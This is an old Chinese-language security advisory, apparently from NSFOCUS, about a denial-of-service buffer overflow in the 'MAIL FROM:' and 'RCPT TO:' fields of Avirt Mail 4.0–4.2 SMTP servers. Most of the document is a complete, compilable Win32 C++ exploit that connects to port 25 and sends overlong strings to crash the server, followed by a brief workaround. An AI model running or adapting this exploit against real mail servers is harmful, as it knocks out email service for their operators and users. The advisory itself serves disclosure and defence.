安全研究

安全漏洞
Avirt Mail 的 'Mail From:' 和 'Rcpt to:' 拒绝服务漏洞

发布日期:2000-10-24
更新日期:2000-10-24

受影响系统:

   Avirt Mail 4.2
   Avirt Mail 4.0
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT 2000
描述:

由于代码中没有对'MAIL FROM:'和'RCPT TO:'这两个域的边界进行足够的检查,
有可能远程使 Avirt Mail 系统崩溃。

在'RCPT TO:'域中输入长度大于272的字符串将在会话结束时崩溃这一次运用,
并且直至重新启动 Avirt Mail 前,下一次会话再也不能启动了。这也发生在
在'MAIL FROM'域中输入数据时,只不过这时字符串长度要大于556。

<* 来源:Martin (martin_o@algonet.se) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
Small piece of code demonstrating DoS vulnerability in
Avirt Mail 4.0-4.2 wersion@trust-me.com
Win32 console code
*/
#include <mem.h>
#include <winsock.h>
#include <iostream.h>
#include <stdlib.h>

#define RCPT_SIZE 272
#define FROM_SIZE 556

struct sckssString
{
   char *szBuffer;
   int nSize;
};

char szHELO[] = "HELO anonymous";
char szMAIL[] = "MAIL FROM: ";
char szRCPT[] = "RCPT TO: ";
char szQUIT[] = "QUIT";
char szDATA[] = "DATA\nTest data\n.";

void socksenddata(int socket, sckssString* data)
{
  if(send(socket,data->szBuffer,data->nSize,NULL)
      !=SOCKET_ERROR)
  {
    cout << "->" << data->szBuffer << endl;
    return;
  }
  else
  {
    cout<<endl<<"WSA error("<<WSAGetLastError()<<")"<< endl;
    exit(1);
  }
}

void socksendendline(int socket)
{
  if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
  else
  {
    cout<<endl<<"WSA error("<<WSAGetLastError()<<")"<<endl;
    exit(1);
  }
}

void socksendanum(int socket, unsigned long int num)
{
  char *tempa = new char[num+1];
  memset(tempa,'A',num);
  tempa[num]=0;
  if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
  {
    cout << "->" << tempa << endl;
    return;
  }
  else
  {
    cout<<endl<<"WSA erro ("<<WSAGetLastError()<<")"<<endl;
    exit(1);
  }
  delete[] tempa;
}

int main(int argv, char **argc)
{
  if(argv<3)
  {
    cout<<"Usage: "<<argc[0]<<" ip-address type"<<endl;
    cout<<"Types:"<<endl;
    cout<<
    "1 - Overflow in RCPT TO: command.(aborted session)"<<endl;
    cout<<
    "2 - Overflow in MAIL FROM: command.(aborted session)"<<endl;
    cout<<
    "3 - Overflow in RCPT TO: command.(finnished session)"<<endl;
    cout<<
    "2 - Overflow in MAIL FROM: command.(finnished session)"<<endl;
    exit(1);
  }
  WORD wVersionRequested = MAKEWORD(1,1);
  WSADATA wsaData;
  WSAStartup(wVersionRequested, &wsaData);

  SOCKADDR_IN saExploit;
  saExploit.sin_family = PF_INET;
  saExploit.sin_addr.s_addr = inet_addr(argc[1]);
  saExploit.sin_port = htons(25);

  SOCKET sckExploit = socket(PF_INET,
                 SOCK_STREAM, IPPROTO_TCP);
  if (sckExploit == INVALID_SOCKET)
  {
    cout<<"WSA error ("<<WSAGetLastError()<<")"<<endl;
    WSACleanup();
    return 1;
  }

  if (connect(sckExploit,(LPSOCKADDR)&saExploit,
            sizeof(saExploit))==SOCKET_ERROR)
  {
    cout<<"WSA error ("<<WSAGetLastError()<<")"<<endl;
    shutdown(sckExploit,2);
    closesocket(sckExploit);
    WSACleanup();
    return 1;
  }

  sckssString sckssHelo;
  sckssHelo.nSize = strlen(szHELO);
  sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
  strcpy(sckssHelo.szBuffer, szHELO);

  sckssString sckssMail;
  sckssMail.nSize = strlen(szMAIL);
  sckssMail.szBuffer = new char[sckssMail.nSize+1];
  strcpy(sckssMail.szBuffer, szMAIL);

  sckssString sckssRcpt;
  sckssRcpt.nSize = strlen(szRCPT);
  sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
  strcpy(sckssRcpt.szBuffer, szRCPT);

  sckssString sckssQuit;
  sckssQuit.nSize = strlen(szQUIT);
  sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
  strcpy(sckssQuit.szBuffer, szQUIT);

  sckssString sckssData;
  sckssData.nSize = strlen(szDATA);
  sckssData.szBuffer = new char[sckssData.nSize+1];
  strcpy(sckssData.szBuffer, szDATA);

  cout << "Beginning session..." << endl;

  switch(atoi(argc[2]))
  {
    case 1:
    {
      socksenddata(sckExploit,&sckssHelo);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssMail);
      socksendanum(sckExploit,5);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssRcpt);
      cout << "Overflowing RCPT TO:" << endl;
      socksendanum(sckExploit,RCPT_SIZE);
      socksendendline(sckExploit);

      cout << "Aborting session before data." << endl;
      socksenddata(sckExploit,&sckssQuit);
      socksendendline(sckExploit);
      break;
    }
    case 2:
    {
      socksenddata(sckExploit,&sckssHelo);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssMail);
      cout << "Overflowing MAIL FROM:" << endl;
      socksendanum(sckExploit,FROM_SIZE);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssRcpt);
      socksendanum(sckExploit,5);
      socksendendline(sckExploit);

      cout << "Aborting session before data." << endl;
      socksenddata(sckExploit,&sckssQuit);
      socksendendline(sckExploit);
      break;
    }
    case 3:
    {
      socksenddata(sckExploit,&sckssHelo);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssMail);
      socksendanum(sckExploit,5);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssRcpt);
      cout << "Overflowing RCPT TO:" << endl;
      socksendanum(sckExploit,RCPT_SIZE);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssData);
      socksendendline(sckExploit);

      cout << "Ending session." << endl;
      socksenddata(sckExploit,&sckssQuit);
      socksendendline(sckExploit);
      break;
    }
    case 4:
    {
      socksenddata(sckExploit,&sckssHelo);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssMail);
      cout << "Overflowing MAIL FROM:" << endl;
      socksendanum(sckExploit,FROM_SIZE);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssRcpt);
      socksendanum(sckExploit,5);
      socksendendline(sckExploit);

      socksenddata(sckExploit,&sckssData);
      socksendendline(sckExploit);

      cout << "Ending session." << endl;
      socksenddata(sckExploit,&sckssQuit);
      socksendendline(sckExploit);
      break;
    }
    default:
    {
      cout<<"Type "<<argc[2]<<" not allowed."<<endl;
      break;
    }
}

  shutdown(sckExploit,2);
  closesocket(sckExploit);
  WSACleanup();
  cout << endl << "Ready!" << endl;
  return 0;
}


建议:

临时解决办法:

  NSFOCUS建议您在没有补丁程序前换用别的邮件服务器,或者用某种方法
  对这两个域过滤掉过长的字符串。

厂商补丁:

  暂无


浏览次数:6146
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障